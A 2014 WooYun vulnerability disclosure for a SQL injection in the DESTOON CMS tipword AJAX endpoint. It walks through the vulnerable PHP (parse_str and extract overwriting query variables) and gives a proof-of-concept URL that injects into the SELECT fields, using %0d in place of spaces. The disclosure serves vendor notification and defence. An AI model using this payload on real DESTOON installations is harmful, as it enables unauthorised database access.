当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065961

漏洞标题:DESTOON 某处SQL注射漏洞(部分原因导致鸡肋利用)

相关厂商:DESTOON

漏洞作者: Noxxx

提交时间:2014-06-24 11:05

修复时间:2014-09-22 11:06

公开时间:2014-09-22 11:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-24: 细节已通知厂商并且等待厂商处理中
2014-06-24: 厂商已经确认,细节仅向厂商公开
2014-06-27: 细节向第三方安全合作伙伴开放
2014-08-18: 细节向核心白帽子及相关领域专家公开
2014-08-28: 细节向普通白帽子公开
2014-09-07: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

注射 ,之前提交的漏洞和这个是一个问题。。

详细说明:

ajax/tipword.inc.php:
if(!$word || strlen($word) < 2 || strlen($word) > 30) exit;
$word = str_replace(array(' ','*', "\'"), array('%', '%', ''), $word);
只能30个长度 算是鸡肋吧!..

tag("moduleid=$mid&table=keyword&condition=moduleid=$mid and keyword like '%$word%'&pagesize=10&order=total_search desc&template=list-search_tip", -2);


$word 我们是可以控制的
看下tag怎么写的

$parameter = str_replace(array('&amp;', '%'), array('', '##'), $parameter);(//如果这个没有替换%号的就又有一个注射了..)
$parameter = strip_sql($parameter);
parse_str($parameter, $par);//解析字符串 我们可以把word =%26变量=值这样就行了e~
if(!is_array($par)) return '';
$par = dstripslashes($par);
extract($par, EXTR_SKIP); //倒入变量 下面一大堆我们都可以覆盖的

isset($prefix) or $prefix = $db->pre;

isset($moduleid) or $moduleid = 1;
if(!isset($MODULE[$moduleid])) return '';
isset($fields) or $fields = '*';
isset($catid) or $catid = 0;
isset($child) or $child = 1;
isset($areaid) or $areaid = 0;
isset($areachild) or $areachild = 1;
(isset($dir) && check_name($dir)) or $dir = 'tag';
(isset($template) && check_name($template)) or $template = 'list';
isset($condition) or $condition = '1';
isset($group) or $group = '';
isset($page) or $page = 1;
isset($offset) or $offset = 0;
isset($pagesize) or $pagesize = 10;
isset($order) or $order = '';
isset($showpage) or $showpage = 0;
isset($showcat) or $showcat = 0;
isset($datetype) or $datetype = 0;
isset($target) or $target = '';
isset($class) or $class = '';
isset($length) or $length = 0;
isset($introduce) or $introduce = 0;
isset($debug) or $debug = 0;
isset($lazy) or $lazy = 0;
(isset($cols) && $cols) or $cols = 1;
。。。沈略。。
$query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize;//我们之间覆盖 $fields
if($debug) echo $parameter.'<br/>'.$query.'<br/>';
$tags = $catids = $CATS = array();
$result = $db->query($query, $db_cache, $tag_expires);//入库查询
。。。沈略。。
include template($template, $dir);//包含模板文件 (template在后面不可更改的)
应为tag穿过来的是template=list-search_tip


模板文件内容

{loop $tags $i $t}<div onclick="setTip('{$t[word]}');" onmouseover="this.className='search_t_div_2';" onmouseout="this.className='search_t_div_1';" class="search_t_div_1"><span>{$t[items]} 结果</span>{$t[word]}</div>{/loop}


这里还有个就是 一开始把空格替换成%分号了
$word = str_replace(array(' ','*', "\'"), array('%', '%', ''), $word);
我们可以用 回车符来替代空格 这样也不会被替换 %0d

漏洞证明:

http://127.0.0.1/php/destoon/ajax.php?action=tipword&mid=1&word=%26fields=user()%0das%0dword

xaxaxa.jpg


xsaxsa.jpg

修复方案:

你们更专业..

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-06-24 16:00

厂商回复:

感谢反馈,我们会尽快修复

最新状态:

暂无